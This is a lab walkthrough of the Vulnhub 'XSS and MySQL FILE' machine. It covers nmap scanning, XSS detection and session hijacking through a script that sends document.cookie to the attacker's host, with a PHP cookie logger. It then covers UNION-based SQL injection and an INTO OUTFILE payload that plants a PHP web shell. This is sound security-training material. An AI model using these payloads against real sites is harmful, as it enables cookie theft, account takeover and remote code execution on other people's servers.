Write-up / XSS and MySQL file Vulnhub.
In this Write-up we will face a Cross-site scripting (XSS) exploitation and SQLI File Write permissions to obtain RCE.
Download vulnerable target machine: Pentester Lab: XSS and MySQL FILE
XSS and MySQL file.
Discovery.
Port Scan.
The first step is allways to run nmap and see which ports are opened in the target.
1
nmap -p- -Pn -sS --min-rate 5000 --open 192.168.1.66 -oN scan
1
nmap -p22,80 -sVC -Pn 192.168.1.39 -oN versions
Once we know wich ports are opened we make an nmap version scan.
The nmap scan showed two opened ports, port 22 ssh
and 80 http
. I tried to acces to the ssh service and I made a whatweb
scan, but none of this actions gave me interesting results. So, I proceed with the manual web enumaration.
Manual web enumeration.
The web page we are facing is a blog,
I saw a Comments section, it’s an interesting place to try to insert some payloads and try to exploit an XSS vulnerability.
Exploitation.
XSS.
You can visit my GitHub profile to see and study all the techniques we are going to use from now on. XSS Cross-Site Scripting.
XSS detection.
When we are facing more than 1 possible vulnerable xss fields we can use the next technique to know which of them are vulnerable:
- We must run a web server in our local machine, to do so we can use python,
python3 -m http.server 80
Now we are going to inject all the fields from the comment section using different url’s for all of them. Those URL’s will have the next structure
http://<OurIPAdress>/<inputName>
.- If our payloads succeded we must receive a connection from the vulnerable field as we can see in the following picture:
Result: The “text” field is vulnerable to XSS.
XSS Session Hijacking.
You can acces to my Github repository to explore how to execute XSS - Session Hijacking.
We are going to try to execute a Session Hijacking attack. To do so, we are going to follow the techniques explained in XSS - Session Hijacking.
At this point we need to send back our payload pointing to the script.js file we are going to create.
script.js
1
new Image().src='http://<OUR_IP>/index.php?c='+document.cookie;
This script.js
is pointing to index.php, which will create and store all the cookies we retrieve in cookies.txt
.
index.php
1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
Now we can send our payload.
1
<script src="http://<LocalIPAdress>/script.js></script>"
Finally we have to keep listening in our local machine waiting to obtain the cookies.
If our attack was succesful we will see a similar output:
Those are the cookies we obtained. The first cookies are ours, so we are interested in the last cookies.
As I said before index.php
created cookies.txt
where we can read all of them.
We can finally use the cookies and gain access to the admin panel.
Admin Panel
Once in the admin panel we can see some of the actions we can execute being admin. But none of them are a good option to gain code execution.
In the “edit blog” section we can see id=1
, this is a perfect place to try to execute a SQL Injection
SQL Injection.
You can acces to my Github repository to explore how to execute SQLI Database Enumeration.
SQLI Detection.
As allways we can start the SQLI detection by injecting '
and seeing how the server response.
As we can see we have an error in our SQL syntax, it means that we can inject SQL commands.
SQLI exploitation.
SQLI dumping data.
Obtaining the total number of columns.
We are going to use ORDER BY Querys to see the number of columns of the db. ORDER BY 4;
ORDER BY 5;
Result: It has only 4 columns.
Now it’s time to see in which of them are our querys being outputed. UNION BY 1,2,3,4
Result: 2,3, the column 1 and 4 exists but they are not shown.
I tried a lot of different methods to dump the data from the database but none of them was successful, But this is not the only attack we can execute via SQLI.
SQLI Writting Files.
You can acces to my Github repository to explore how to execute SQLI File Manipulation.
Checking our user privileges.
Before writting any file we have to chek if we have enough privileges to do so.
We will use the next command to see which db user we are utilizing and then obtain his privileges.
1
UNION SELECT 1, 2, user(), 4
Result: Our user is root.
The next command will show if we have super user privileges.
1
UNION SELECT 1, 2, super_priv, 4 FROM mysql.user -- -
Result: We have super user privileges.
The secure_file_priv
variable is used to determine where to read/write files from.
1
UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
Result: The secure_file_priv value is empty, we can read/write files to any location.
With all the data we have obtained we can confirm that we are able to write files.
Obtaining RCE.
We need to use a route to write our file. We can for example use the directory that the error message shows us when we make an SQL syntax error: Sadly I couldn’t execute my commands using this route so we must find other.
If we check the code we can see the /css
url, it’s another good place to insert our sell.
We can use the next payload to create our file in the css
directory:
1
id=3 union select "",'<?php system($_REQUEST[cmd]); ?>', "", "" into outfile '/var/www/css/cmd.php'
We finally have remote code execution!